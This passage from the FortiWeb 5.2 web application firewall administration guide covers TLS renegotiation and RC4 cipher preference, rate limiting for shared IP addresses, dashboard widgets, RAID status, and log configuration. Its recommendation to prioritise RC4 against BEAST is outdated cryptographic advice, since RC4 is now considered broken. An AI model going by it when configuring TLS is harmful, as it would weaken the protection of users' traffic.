According to RFC 5246 , either the client or the server can re-negotiate the connection in order to change cryptographic keys and other parameters.
However, SSL/TLS renegotiation attacks exist to take advantage of the fact that the negotiation phase is more processing-intensive for the server than it is for the client. By repeatedly initiating renegotiations, clients can cause a
DoS.
Prioritize RC4
Cipher Suite
Enable to prefer the RC4 encryption algorithm, if the client’s hello during the handshake advertises support for it.
In older TLS 1.0 implementations, including the NSS cryptographic package used by Mozilla Firefox and Google Chrome web browsers, both AES and
3DES are vulnerable to initialization vector (IV)-based cipher block chaining
(CBC) attacks due to using the same IV repeatedly. This causes the cipher blocks to become predictable, and therefore vulnerable to a MITM eavesdropper.
Because RC4 is a stream cipher, which does not use CBC, it is not vulnerable to the BEAST attack.
Caution: Known attacks also exist for RC4, depending on the implementation. Weigh the risks and benefits carefully. You should never use a cipher that is weaker than the value of the data that it is protecting, but clients may be unaware that they are configured to offer weaker ciphers, and will use them if the server (or FortiWeb) agrees. For information on cipher suites supported by FortiWeb, see
“Supported cipher suites & protocol versions” on page 296
.
See also
•
Defeating cipher padding attacks on individually encrypted inputs
•
Limiting the total HTTP request rate from an IP
•
•
Example: Setting a separate rate limit for shared Internet connections
•
Blocking known attacks & data leaks
•
•
•
Supported cipher suites & protocol versions
Fortinet
Example: Setting a separate rate limit for shared Internet connections
The small ice cream shop Tiny Treats might have only one network-connected smart cash register. Any request from that public IP likely comes, therefore, from that single client (unless they have not secured their WiFi network...). There is a 1:1 ratio of clients to source IP addresses from FortiWeb’s perspective.
Down the street, Giant Gelato, which distributes ice cream to eight provinces, might have a LAN for the entire staff of 250 people, each with one or more computers. Requests that come from the Giants Gelato office’s public IP therefore may actually originate from many possible clients, and therefore normally could be much more frequent. However, like many offices, the LAN uses source IP network address translation (SNAT) at the point that it links to the Internet. As a result, from FortiWeb’s perspective, the private network address of each client is impossible to know: it
553 FortiWeb 5.2 Patch 2 Administration Guide
only knows the single public IP address of Giant Gelato’s router. So there is a single source IP address for Giant Gelato. However, there is a 250:1 ratio of clients to the source IP address.
This is a big proportionate difference. While a low rate limit might seem generous to Tiny Treats,
Giant Gelato would be unhappy if you applied the same rate limit to its IP address.
Let’s say that both companies need access to the same ice cream inventory web application:
Tiny Treats buys from Giant Gelato. Each view in the application contains the page itself, but also up to 15 images of ice cream, 3 external JavaScripts, and an external CSS style sheet, for a total of 20 HTTP requests in order to produce each view.
40 requests per second then might be more than adequate for Tiny Treats: the clerk could page through the inventory twice every second, if she wanted to.
But for Giant Gelato, its clients would frequently see completely or half-broken views: some images or CSS would be missing, or page requests denied the first or second time, because some other clients on Giant Gelato’s LAN had already consumed the 40 requests allowed to it per second of time. Normal use would be impossible.
To be practical, then, you would not base your rate limiting solely on the source IP address of requests. Instead, you would want dual thresholds:
• a lower threshold for sources that are a single client
• a higher threshold when multiple clients are behind the same source IP address
You could enable
Shared IP
so that FortiWeb could know to permit more requests per second from Giant Gelato than from Tiny Treats. Because Giant Gelato’s ID fields would not usually be continuous as a single client’s usually would be, FortiWeb could then apply a different, higher limit.
See also
•
•
Limiting the total HTTP request rate from an IP
•
Fortinet 554 FortiWeb 5.2 Patch 2 Administration Guide
Monitoring your system
“Secure” is an action, an ongoing way to behave; it is not a set-and-forget device.
Each day, vulnerabilities, known exploits, and best practices can change.
Knowledge is power.
To get the most value out of your FortiWeb appliance, use it to keep informed about your network — not just to protect it. FortiWeb appliances have many tools that you can use to monitor statuses, traffic, and attacks. You can also use them to discover new web server vulnerabilities.
The dashboard
System > Status > Status appears when you log in to the web UI. It contains a dashboard with widgets that each indicate performance level or other system statuses.
Each day, check the dashboard for obvious problems.
By default, the dashboard contains the following widgets:
•
•
•
•
•
•
•
•
•
•
Fortinet 555 FortiWeb 5.2 Patch 2 Administration Guide
Figure 55:Viewing the dashboard (System > Status > Status)
Fortinet
In the default dashboard setup, widgets display the serial number and current system status of the FortiWeb appliance, including uptime, system resource usage, event log messages, host name, firmware version, system time, and status of connected web servers and policy sessions.
The dashboard also contains a CLI widget that enables you to use the command line interface
(CLI) through the web UI.
To customize the dashboard, select which widgets to display, where they are located on the page, and whether they are minimized or maximized.
To move a widget, position your mouse cursor on the widget’s title bar, then click and drag the widget to its new location.
To display any of the widgets not currently shown on System > Status > Status, click Add
Content. Any widgets currently already displayed on System > Status > Status will be grayed out in the Add Content menu, as you can only have one of each display on the page.
556 FortiWeb 5.2 Patch 2 Administration Guide
Figure 56:Adding a widget
Fortinet
To display the default set of widgets on the dashboard, select Back to Default.
To see the available options for a widget, position your mouse cursor over the icons in the widget’s title bar. Options vary slightly from widget to widget, but always include options to close, minimize or maximize the widget.
Figure 57:A minimized widget
Widget title
Disclosure arrow
Refresh
Close
Button/field
Widget Title
Description
The name of the widget.
Disclosure arrow
Click to maximize or minimize the widget.
This arrow replaces the widget’s icon when you place your mouse cursor over the title bar.
Edit
Refresh
Close
The CLI Console widget title bar includes an Edit icon. Click it to change settings for the widget.
Click to update the displayed information.
This option does not appear on the CLI Console widget.
Click to close the widget on the dashboard. You will be prompted to confirm the action. To show the widget again, click Add Content near the top of the page.
To access the dashboard, your administrator's account access profile must have Read permission to items in the System Configuration category. To use features that alter the
FortiWeb or perform actions, you may also need Write permissions in various categories. For details, see
557 FortiWeb 5.2 Patch 2 Administration Guide
System Information widget
The System Information widget on the dashboard displays the serial number and the status of basic systems, such as the firmware version, system time, up time, and host name, and high availability (HA) status.
In addition to displaying system information, the System Information widget enables you to configure some basic attributes such as the host name, operation mode, and high availability
(HA) mode, and to change the firmware.
FortiWeb administrators whose access profiles permit Write access to items in the System
Configuration category, can change the system time, host name, firmware, and operation mode, and high availability (HA) mode.
Fortinet 558 FortiWeb 5.2 Patch 2 Administration Guide
Table 46: System Information widget
Fortinet
Field
Host Name
Description
Displays the host name of the FortiWeb appliance.
Click Change to change the host name. See “Changing the FortiWeb appliance’s host name” on page 549
.
Serial Number
Displays the serial number of the FortiWeb appliance. Use this number when registering the hardware or virtual appliance with Fortinet Technical
Support .
On hardware appliance models of FortiWeb, the serial number (e.g.
FV-3KC3R11111111) is specific to the FortiWeb appliance’s hardware and does not change with firmware upgrades.
On virtual appliance (FortiWeb-VM) models, the serial number indicates the maximum number of vCPUs that can be allocated according to the
FortiWeb-VM software license, such as FVVM020000003619 (where
“VM02” indicates a limit of 2 vCPUs). If it is FVVM00UNLICENSED, the
FortiWeb-VM license has not been successfully validated, and FortiWeb is operating with a limited trial license.
Operation Mode Displays the current operation mode of the FortiWeb appliance, either:
•
Reverse Proxy
•
Offline Protection
•
True Transparent Proxy
•
Transparent Inspection
The default operation mode is Reverse Proxy. For details on the operation
modes, see “Setting the operation mode” on page 102
.
Click Change to switch the operation mode.
Caution: Back up the configuration before changing the operation mode.
Changing modes deletes any policies not applicable to the new mode, static routes, V-zone IPs, and VLANs. For instructions on backing up the
configuration, see “Backups” on page 215 .
HA Status
Displays the status of high availability (HA) for this appliance, either
Standalone or Active-Passive. The default value is Standalone.
Click Configure to configure the HA status for this appliance. See
“Configuring a high availability (HA) FortiWeb cluster” on page 105
.
559 FortiWeb 5.2 Patch 2 Administration Guide
Field
System Time
Firmware
Version
Description
Displays the current date and time according to the FortiWeb appliance’s internal clock.
Click Change to change the time or configure the FortiWeb appliance to get
the time from an NTP server. See “Setting the system time & date” on page 99 .
Displays the version of the firmware currently installed on the FortiWeb appliance.
Click Update to install a new version of firmware. See “Updating the firmware” on page 85
.
System Uptime
Displays the time in days, hours, and minutes since the FortiWeb appliance last started.
Administrative
Domain
To delete existing appliance-wide policies and settings then enable ADOMs, click Enable. See also
“Administrative domains (ADOMs)” on page 45
.
To disable ADOMs, first delete ADOM-specific settings and policies, then click Disable.
See also
•
Changing the FortiWeb appliance’s host name
FortiGuard Information widget
The FortiGuard Information widget on the dashboard displays Fortinet Technical Support registration, licensing and FortiGuard service update information.
Fortinet 560 FortiWeb 5.2 Patch 2 Administration Guide
Table 47: FortiGuard Information widget
Fortinet
Field
VM License
Registration
Description
Indicates whether or not this FortiWeb-VM appliance has a paid software license. The license affects the maximum number of allocatable vCPUs (see the
FortiWeb-VM Install Guide
).
Possible states are:
• Valid — The appliance has a valid, non-trial license.
Serial
Number
indicates the maximum number of vCPUs that can be allocated according to this license. See
Information widget” on page 558 .
To increase the number of vCPUs that this appliance can utilize, invalidate the current license by allocating more vCPUs in your virtual machine environment (e.g. VMware), then upload a new license. For details, see the
FortiWeb-VM
Install Guide
.
• Invalid — License either was not valid, or is currently a trial license.
To upload a purchased license, click Update.
This appears only in FortiWeb-VM.
Indicates which account registered this appliance with Fortinet
Technical Support. Possible states are:
• Unregistered — Not registered with Fortinet Technical
Support.
• <registration_email> — Registered with Fortinet Technical
Support.
To manage technical support contracts, download firmware or MIBs or geography-to-IP mappings, or see FortiGuard service contracts for this device, go to System >
Maintenance > Auto Update then next to the registration email, click Login. A new window will appear where you can log in to the Fortinet Technical Support web site .
561 FortiWeb 5.2 Patch 2 Administration Guide
Field Description
FortiWeb Security Service
Indicates the validity of the appliance’s contract for FortiGuard
FortiWeb Security Service, which provides updates via the
Internet from Fortinet’s FDN for:
• attack signatures
• predefined data types
• predefined suspicious URLs
• global white list objects
Possible states are:
• Valid — The appliance currently has a valid, non-trial license, and can download updates itself from the FDN. You can trigger this manually and/or schedule the appliance to regularly poll and automatically install the newest available package updates. See
“Connecting to FortiGuard services” on page 143
.
• Expired — The contract is no longer in effect.
To renew, either contact your reseller or go to the Fortinet
Technical Support web site .
Also indicates the current version number of the installed service package, the expiry date of the service contract (if any) for this appliance, and the previous time and method of update.
Fortinet 562 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Field Description
FortiWeb Antivirus Service
Indicates the validity of the appliance’s contract for FortiGuard
Antivirus Service, which provides updates via the Internet from
Fortinet’s FDN for virus signatures. Possible states are:
• Valid — The appliance currently has a valid, non-trial license, and can download updates itself from the FDN. You can trigger this manually and/or schedule the appliance to regularly poll and automatically install the newest available package updates. See
“Connecting to FortiGuard services” on page 143
.
• Expired — The contract is no longer in effect.
To renew, either contact your reseller or go to the Fortinet
Technical Support web site .
Also indicates the current version number of the installed service package, the expiry date of the service contract (if any) for this appliance, and the previous time and method of update.
FortiWeb IP Reputation
Service
Indicates the validity of the appliance’s contract for FortiGuard
IRIS Service, which provides updates via the Internet from
Fortinet’s FDN for known botnets, malicious clients, and anonymizing proxies. Possible states are:
• Valid — The appliance currently has a valid, non-trial license, and can download updates itself from the FDN. You can trigger this manually and/or schedule the appliance to regularly poll and automatically install the newest available package updates. See
“Connecting to FortiGuard services” on page 143
.
• Expired — The contract is no longer in effect.
To renew, either contact your reseller or go to the Fortinet
Technical Support web site .
Also indicates the current version number of the installed service package, the expiry date of the service contract (if any) for this appliance, and the previous time and method of update.
For information on updates, see
“Connecting to FortiGuard services” on page 143 .
See also
•
Blacklisting source IPs with poor reputation
•
Blocking known attacks & data leaks
•
563 FortiWeb 5.2 Patch 2 Administration Guide
CLI Console widget
The CLI Console widget on the dashboard enables you to enter CLI commands through the web UI, without making a separate Telnet, SSH, or local console connection to access the CLI.
The CLI Console widget requires that your web browser support JavaScript.
To use the console, first click within the console area. Doing so automatically logs you in using the same administrator account you used to access the web UI. You can then type commands into the CLI Console widget. Alternatively, you can copy and paste commands from or into the console.
The prompt, by default the model number such as FortiWeb-3000C #, contains the host name
For information on available commands, see the
FortiWeb CLI Reference
.
Figure 58:CLI Console widget
Click the Edit icon on the widget’s title bar to open the Console Preferences pop-up window.
Use this dialog to change the buffer length and input method, as well as the appearance of the console.
Fortinet 564 FortiWeb 5.2 Patch 2 Administration Guide
Table 48: CLI Console Preferences window
Fortinet
Setting/button/field Description
Preview (pane)
Text
Background
Shows a preview of your changes to the CLI Console widget’s appearance.
Click the current color swatch to the left of this label, then click a color from the color palette to the right to change the color of the text in the
CLI Console.
Click the current color swatch to the left of this label, then click a color from the color palette to the right to change the color of the background in the CLI Console.
Use external command input box
Select to display a command input field below the normal console emulation area. When this option is enabled, you can enter commands by typing them into either the console emulation area or the external command input field.
Console buffer length
Type the number of lines the console buffer keeps in memory. The valid range is from 20 to 9999.
Font
Select a font from the list to change the display font of the CLI Console.
Size
Reset Defaults
(button)
Select the size in points of the font. The default size is 10 points.
Click to reset the CLI console preferences to the factory default settings.
See also
•
565 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
System Resources widget
The System Resources widget on the dashboard displays CPU usage, memory usage,, and data disk usage.
The widget displays CPU and memory usage as a dial gauge and as a percentage of the usage for core processes only. CPU and memory usage for management processes (for example, for
HTTPS connections to the web UI) is excluded.
Normal idle load varies by hardware platform, firmware, and configured features. To determine your specific baseline for idle, configure your system completely, reboot, then view the system load. After at least 1 week of uptime with typical traffic volume, view the system load again to determine the normal non-idle baseline.
Figure 59:System Resources widget
To determine your available disk space, you can alternatively connect to the CLI and enter the command: diagnose system mount list
Attack Log Console widget
The Attack Log Console widget displays the latest attack logs. Attack logs are recorded when there is an attack or intrusion attempt against the web servers protected by the FortiWeb appliance.
Attack logs help you track policy violations. Each message shows the date and time that the attack attempt occurred. For more information, see
“Viewing log messages” on page 587 .
Attack log messages can also be delivered by email, Syslog, FortiAnalyzer, or SNMP. For more
, and
“SNMP traps & queries” on page 612
.
566 FortiWeb 5.2 Patch 2 Administration Guide
Figure 60:Attack Log Console widget
Real Time Monitor widget
The Real Time Monitor widget on the dashboard displays three graphs.
Figure 61:Real Time Monitor widget
Fortinet
• HTTP Traffic Monitor — Displays the traffic volume throughput during each time period.
• Attack Event History — Displays the number of each type of common exploit, SQL injection, cross-site scripting (XSS), or information disclosure attacks that were prevented.
• HTTP Hit History — Displays the total number of page requests.
567 FortiWeb 5.2 Patch 2 Administration Guide
For each graph, you can select which policy’s statistics to view and the size of the interval (Rate
threshold or Time interval) represented by each appliance on the graph.
By positioning your cursor over a point in the graph, you can display information for that point in time, such as (for HTTP Traffic Monitor) the traffic volume at that point in time.
See also
•
•
Configuring a protection profile for inline topologies
•
Configuring a protection profile for an out-of-band topology or asynchronous mode of operation
Event Log Console widget
The Event Log Console widget on the dashboard displays log-based messages.
Event logs help you track system events on your FortiWeb appliance such as firmware changes, and network events such as changes to policies. Each message shows the date and time that
the event occurred. For more information, see “Viewing log messages” on page 587 .
Event log messages can also be delivered by email, Syslog, FortiAnalyzer, or SNMP. For more
“Configuring log destinations” on page 579 , and
“SNMP traps & queries” on page 612 .
Figure 62:Event Log Console widget
Fortinet
Server Status widget
The Server Status widget on the dashboard lists configured policies, the real servers (physical and domain servers) associated with the policy, and the up/down status of the servers associated with the policy.
568 FortiWeb 5.2 Patch 2 Administration Guide
Figure 63:Server Status widget
Fortinet
The Policy Name column shows the name of the policy. For information on policies, see
“Configuring a server policy” on page 509 .
The Real Server column lists the real servers that the policies protect, and to which they
and
“Defining your web server by its DNS domain name” on page 264 .
The Server Status column varies by whether your policy organizes your web servers into a server farm. For server farms, it shows the up/down status as determined by server health check connectivity tests.
There may be multiple icons in this column. To determine which web server is associated with an icon, hover your mouse cursor over the icon. The name of the web server then appears in a tool tip.
• No icon — No associated server health check can be configured, because the policy connects to a single, standalone server. (Server health checks are not supported by policies
To make server health checks for a single server, instead of configuring the policy with a
of Single Server, create a server farm and add that web server as the sole
member, then select that server farm in the policy.
• Green icon — The server health check is currently detecting that the web server is responsive to connections (“up”).
The green icon does not indicate whether the policy is enabled or disabled. Depending on the operation mode, a disabled policy may block traffic from clients to the web server, effectively causing the web server to appear to be “down” to clients, even though it is “up”
to FortiWeb. See “Enabling or disabling a policy” on page 524
.
It also does not indicate both HTTP and HTTPS separately. Protocol and port number used are according to your configuration in the server farm.
• Flashing yellow-to-red or grey icon — Either:
• no server health check is currently configured for that combination of server farm and policy
• the server health check is currently detecting that the web server is not responsive to connections (“down”)
The method that the FortiWeb appliance will use to reroute connections to an available
server varies by your configuration of
. For information on server health
checks, see “Configuring server up/down checks” on page 265 .
If the server health check is mistakenly detecting that your web server is “down,” but it is actually “up,” verify that you have specified the correct SSL/TLS and port number settings for the web server in the server farm. Also verify that the web server is configured to respond
569 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet to the protocol configured in the server health check, and that connections are permitted by any intermediary network or host-based firewalls such as Windows Firewall.
Alternatively, to monitor the statuses of web servers, you can use SNMP traps. For details, see
“SNMP traps & queries” on page 612
.
Policy Sessions widget
The Policy Sessions widget on the dashboard displays the number of HTTP/HTTPS sessions that are currently governed by each policy.
Figure 64:Policy Sessions widget
.
The Session column shows the total number of sessions currently being governed by the policy.
To display TCP/IP details such as the client’s source IP address and port number and the web server or FortiWeb virtual server’s destination IP address and port number, click the hyperlinked number.
Operation widget
The Operation widget on the dashboard displays the:
• “up” (cable plugged in, indicated by green) or
• “down” (cable unplugged, indicated by grey) link status of each physical network interface (or, for FortiWeb-VM, virtual adapter).
The detected physical link status indicator does not indicate whether you have administratively enabled or disabled the network interface. To bring up or bring down a network interface, see
“Network interface or bridge?” on page 119
.
On hardware FortiWeb appliances such as the FortiWeb-3000C (but not FortiWeb-VM), if you hover your mouse cursor over a link icon, a yellow tool tip box appears that contains additional information:
• name (e.g. port1)
• link speed (e.g. 1000 Mbps/Full Duplex)
• the IP address and subnet mask
• packets sent (Tx) and received (Rx)
570 FortiWeb 5.2 Patch 2 Administration Guide
Figure 65:Operation widget
Button
Reboot
Shut Down
Reset
Description
Click to halt and restart the operating system of the FortiWeb appliance.
Click to halt the operating system of the FortiWeb appliance, preparing its hardware to be powered off.
Click to revert the configuration of the FortiWeb appliance to the default values for its currently installed firmware version.
Caution: Back up the configuration before selecting Reset. This operation cannot be undone. Configuration changes made since the last backup will be lost. For instructions on backing up the configuration, see
“Restoring a previous configuration” on page 219 .
See also
•
RAID level & disk statuses
If supported by your FortiWeb model, System > Config > RAID enables you to view the status of the redundant array of independent disks (RAID) that the FortiWeb appliance uses to store most of its data, including logs, reports, auto-learning data, and web site backups for anti-defacement. You can also use this CLI command to view the statuses of each disk in the array, its total disk space capacity, and RAID level: diagnose hardware raid list
RAID is supported on models that originally shipped with the firmware version
FortiWeb 4.0 MR1 or later, such as FortiWeb 1000D, 3000C/CFsx/D/DFsx, and 4000D.
On older appliances that have been upgraded to FortiWeb 4.0 MR1, you may be able to see this part of the web UI, but RAID is not activated, and the disk status is will always be Not Present.
Fortinet
FortiWeb-VM does not support RAID from within the virtual appliance. However, depending on your hypervisor’s storage repository, you can configure the hypervisor to store its data on a
SAN or external RAID. To manage your storage repository, see the documentation for your hypervisor.
571 FortiWeb 5.2 Patch 2 Administration Guide
Currently, only RAID level 1 is supported, and cannot be changed. On FortiWeb 3000C/4000C and 3000D/4000D, the RAID array has a hardware controller. On FortiWeb 1000D, the array has a software controller. RAID level 1 is also known as “mirroring,” and writes all data twice — each drive is an exact copy of the other. This does not increase disk write speed via striping, nor detection and correction of errors via parity. However, it does improve availability by reducing the overall hardware failure rate of the RAID: the chance that both disks together will fail is much lower than the chance of failure of a single disk.
Rebuilding RAID after a disk failure will result in some loss of data in packet payloads retained with corresponding logs.
To access this part of the web UI, your administrator's account access profile must have Read and Write permission to items in the System Configuration category. For details, see
Logging
To diagnose problems or track actions that the FortiWeb appliance performs as it receives and processes traffic, configure the FortiWeb appliance to record log messages.
Log messages can record attack, system, and/or traffic events. They are also the source of information for alert email and many types of reports.
When you configure protection profiles, many components include an Action option that determines the response to a detected violation. Actions combine with severity levels and trigger policies to determine whether and where a log message, message on the Attack Log
Console widget, SNMP trap, and/or alert email will be generated.
Figure 66:Dialog showing actions, severity level, and triggers that affect logging
Fortinet
Before logging will occur, however, you must first enable and configure it.
572 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
About logs & logging
FortiWeb appliances can log many different network activities and traffic including:
• overall network traffic
• system-related events including system restarts and HA activity
•
set to a log-generating option such as Alert
Each type can be useful during troubleshooting or forensic investigation. For more information
about log types, see “Log types” on page 573
.
You can select a priority level that log messages must meet in order to be recorded. For more
information, see “Log severity levels” on page 574 .
For a detailed description of each FortiWeb log message, as well as log message structure, see the FortiWeb
Log Message Reference
.
The FortiWeb appliance can save log messages to its memory, or to a remote location such as a
information, see “Reports” on page 618
.
The FortiWeb appliance also displays event and attack log messages on the dashboard. For more information, see
“Attack Log Console widget” on page 566
and “Event Log Console widget” on page 568
.
See also
•
•
•
•
Log types
Each log message contains a Type (type) field that indicates its category, and in which log file it is stored.
FortiWeb appliances can record the following categories of log messages:
Table 49: Log types
Log type
Event
Traffic
Attack
Description
Displays administrative events, such as downloading a backup copy of the configuration, and hardware failures.
Displays traffic flow information, such as HTTP/HTTPS requests and responses.
Displays attack and intrusion attempt events.
Avoid recording highly frequent log types such as traffic logs to the local hard disk for an extended period of time. Excessive logging frequency can cause undue wear on the hard disk and may cause premature failure.
573 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Log severity levels
Each log message contains a Severity (pri) field that indicates the severity of the event that caused the log message, such as pri=warning.
Table 50: Log severity levels
Name Description
4
5
2
3
6
0
1
Level
(0 is greatest)
Emergency
Alert
Critical
Error
Warning
Notification
Information
The system has become unusable.
Immediate action is required.
Functionality is affected.
An error condition exists and functionality could be affected.
Functionality could be affected.
Information about normal events.
General information about system operations.
For each location where the FortiWeb appliance can store log files (disk, memory, Syslog or
FortiAnalyzer), you can define a severity threshold. The FortiWeb appliance will store all log messages equal to or exceeding the log severity level you select.
For example, if you select Error, the FortiWeb appliance will store log messages whose log severity level is Error, Critical, Alert, and Emergency.
Avoid recording log messages using low log severity thresholds such as information or notification to the local hard disk for an extended period of time. A low log severity threshold is one possible cause of frequent logging. Excessive logging frequency can cause undue wear on the hard disk and may cause premature failure.
For more information, see “Configuring log destinations” on page 579 .
Log rate limits
When FortiWeb is defending your network against a DoS attack, the last thing you need is for performance to decrease due to logging, compounding the effects of the attack. By the nature of the attack, these log messages will likely be repetitive anyway. Similarly, repeated attack log messages when a client has become subject to a period block yet continues to send requests is of little value, and may actually be distracting from other, unrelated attacks.
To optimize logging performance and help you to notice important new information, within a specific time frame, FortiWeb will only make one log entry for these repetitive events. It will not log every occurrence. To adjust the interval at which FortiWeb will record identical log messages during an ongoing attack, see max-dos-alert-interval <seconds_int> in the
FortiWeb
CLI Reference
.
574 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Configuring logging
You can configure the FortiWeb appliance to store log messages either locally (that is, in RAM or to the hard disk) and or remotely (that is, on a Syslog server or FortiAnalyzer appliance). Your choice of storage location may be affected by several factors, including the following.
• Rebooting the FortiWeb appliance clears logs stored in memory.
• Logging only locally may not satisfy your requirements for off-site log storage.
• Attack logs and traffic logs cannot be logged to local memory.
• Very frequent logging may cause undue wear when stored on the local hard drive. A low severity threshold is one possible cause of frequent logging. For more information on severity levels, see
“Log severity levels” on page 574
.
• Very frequent logging, such as when the severity level is low, may rapidly consume all available log space when stored in memory. If the available space is consumed, and if the
FortiWeb appliance is configured to do so, it may store any new log message by overwriting the oldest log message. For high traffic volumes, this may occur so rapidly that you cannot view old log messages before they are replaced.
• Usually, fewer log messages can be stored in memory. Logging to a Syslog server or
FortiAnalyzer appliance may provide you with additional log storage space.
For information on viewing locally stored log messages, see
“Viewing log messages” on page 587 .
To configure logging
1. Set the severity level threshold that log messages must meet or exceed in order to be sent to each log storage device. If you will store logs remotely, also configure connectivity
information such as the IP address. See “Configuring log destinations” on page 579 ,
“Configuring Syslog settings” on page 584
, and
“Configuring FortiAnalyzer policies” on page 585
.
2. Group Syslog and FortiAnalyzer settings and select those groups in Trigger Action settings
throughout the configuration of web protection features. See “Configuring triggers” on page 587
.
4. If you want to log attacks, select an Alert option as the
attack protection.
5. Monitor your log messages via the web UI or through alert email for events that require action from network administrators. See
“Viewing log messages” on page 587
and
network. See
.
Enabling log types, packet payload retention, & resource shortage alerts
You can enable or disable logging for each log type, as well as configure system alert thresholds, and which policy violations should cause the appliance to retain the TCP/IP packet payload (HTTP headers and a portion of the HTTP body, if any) that can be viewed with its corresponding log message.
For more information on log types, see
.
575 FortiWeb 5.2 Patch 2 Administration Guide
To enable logging
1. Go to Log&Report > Log Config > Other Log Settings.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
Fortinet 576 FortiWeb 5.2 Patch 2 Administration Guide
2. Configure these settings:
Fortinet
Setting name Description
Enable Attack Log Enable to log violations of attack policies, such as server information disclosure and attack signature matches, if that feature is configured
is set to Alert, Alert & Deny, or Alert & Erase.
Enable Traffic Log Enable to log traffic events such as HTTP requests and responses, and the expiration of HTTP sessions.
Tip: Because resources for this feature increase as your traffic increases, if you do not need traffic data, disable this feature to improve performance and improve hardware life.
577 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Enable Traffic
Packet Log
Description
Enable to retain the packet payloads of all HTTP request traffic.
Unlike attack packet payloads, only HTTP request traffic packets are retained (not HTTP responses), and only the first 4 KB of the payload from the buffer of FortiWeb’s HTTP parser.
Packet payloads supplement the log message by providing the actual request body, which may help you to fine-tune your regular expressions to prevent false negatives, or to examine changes to attack behavior for subsequent forensic analysis.
To view packet payloads, see
“Viewing packet payloads” on page 593 .
Tip: Retaining traffic packet payloads is resource intensive. To improve performance, only enable this option while necessary.
Enable Event Log
Enable to log local events, such as administrator logins or rebooting the FortiWeb appliance.
Retain Packet
Payload For
Mark the check boxes of the attack types or validation failures to retain the buffer from FortiWeb’s HTTP parser. Packet retention is enabled by default for most types.
Packet payloads supplement the log message by providing part of the actual data that matched the regular expression, which may help you to fine-tune your regular expressions to prevent false positives, or to examine changes to attack behavior for subsequent forensic analysis.
To view packet payloads, see
“Viewing packet payloads” on page 593 .
If packet payloads could contain sensitive information, you may need to obscure those elements. For details, see
“Obscuring sensitive data in the logs” on page 583
.
Note: FortiWeb retains only the first 4 KB of data from the offending
HTTP request payload that triggered the log message. If you require forensic analysis of, for example, buffer overflow attacks that would exceed this limit, you must implement it separately.
Persistent Server
Session
Select a threshold for the percentage (50% to 90%, at increments of
10%) of maximum allowed persistent server sessions that will trigger an event log entry.
For example, if this option is set to 50%, and the maximum number of persistent server sessions is 15,000, an event log will be recorded when the actual number of persistent sessions reaches 50% of the maximum number (7,500 persistent server sessions).
For specifications of your appliance’s maximum, see
Maximum configuration values” on page 702
.
Tip: You can limit each policy’s persistent server sessions using the
option.
CPU Utilization
Select a threshold level (60% to 99%) beyond which CPU usage will trigger an event log entry.
578 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Memory Utilization Select a threshold level (60% to 99%) beyond which memory usage will trigger an event log entry.
Trigger Action
Select an trigger, if any, to use when memory usage, CPU usage or persistent server sessions reach or exceeds their specified threshold.
3. Click Apply.
See also
•
•
•
•
•
Obscuring sensitive data in the logs
Configuring log destinations
You can choose and configure the storage methods for log information, and/or email alerts when logs have occurred.
For logging accuracy, you should verify that the FortiWeb appliance’s system time is accurate.
For details, see “Setting the system time & date” on page 99
.
Avoid recording highly frequent log types such as traffic logs to the local hard disk for an extended period of time. Excessive logging frequency can cause undue wear on the hard disk and may cause premature failure.
To configure log settings
1. Go to Log&Report > Log Config > Global Log Settings.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Log & Report category. For details, see
579 FortiWeb 5.2 Patch 2 Administration Guide
2. Configure these settings:
Fortinet
Setting name Description
Disk
Enable to record log messages to the local hard disk on the FortiWeb appliance.
If the FortiWeb appliance is logging to its hard disk, you can use the web
UI to view log messages stored locally on the FortiWeb appliance. For
details, see “Viewing log messages” on page 587 .
Log Level
When log disk is full
Select what the FortiWeb appliance will do when the local disk is full and a new log message occurs, either:
• Do not log — Discard the new log message.
• Overwrite oldest logs — Delete the oldest log file in order to free disk space, then store the new log message in a new log file.
Log rolling settings
Select the severity level that a log message must equal or exceed in order to be recorded to this storage location.
For information about severity levels, see “Log severity levels” on page 574
.
Caution: Avoid recording log messages using low severity thresholds such as information or notification to the local hard disk for an extended period of time. A low log severity threshold is one possible cause of frequent logging. Excessive logging frequency can cause undue wear on the hard disk and may cause premature failure.
580 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Log file should not
exceed n MB
Type the maximum file size of the current log file.
When the current log file reaches its maximum size, the next log message received will begin a new, separate file.
The valid range is between 10 MB and 200 MB.
Memory
Enable to record log messages in the local random access memory (RAM) of the FortiWeb appliance.
If the FortiWeb appliance is logging to memory, you can use the web UI to view log messages that are stored locally on the FortiWeb appliance. For
details, see “Viewing log messages” on page 587 .
Note: Attack cannot be stored in memory.
Caution: Log messages stored in memory should not be regarded as permanent. Unlike logs stored on disk, logs stored in memory cannot
be downloaded. All log entries stored in memory are cleared when the
FortiWeb appliance restarts. When available memory space for log messages is full, the FortiWeb appliance will store any new log message by overwriting the oldest log message.
Log Level
Select the severity level that a log message must equal or exceed in order to be recorded to this storage location.
For information about severity levels, see “Log severity levels” on page 574
.
Syslog
Enable to store log messages remotely on a Syslog server.
Caution: Enabling Syslog could result in excessive log messages being recorded in Syslog.
Syslog entries are controlled by Syslog policies and trigger actions associated with various types of violations. If this option is enabled, but a trigger action is not selected for a specific type of violation, every occurrence of that violation will be transmitted to the Syslog server in the
Syslog Policy
field.
Note: Logs stored remotely cannot be viewed from the FortiWeb web UI.
Syslog Policy Select the settings to use when storing log messages remotely. The Syslog settings include the address of the remote Syslog server and other connection settings. For more information see
“Configuring Syslog settings” on page 584 .
Log Level
Select the severity level that a log message must equal or exceed in order to be recorded to this storage location.
For information about severity levels, see “Log severity levels” on page 574
.
581 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Facility
Select the facility identifier that the FortiWeb appliance will use to identify itself when sending log messages to the first Syslog server.
To easily identify log messages from the FortiWeb appliance when they are stored on the Syslog server, enter a unique facility identifier, and verify that no other network devices use the same facility identifier.
FortiAnalyzer
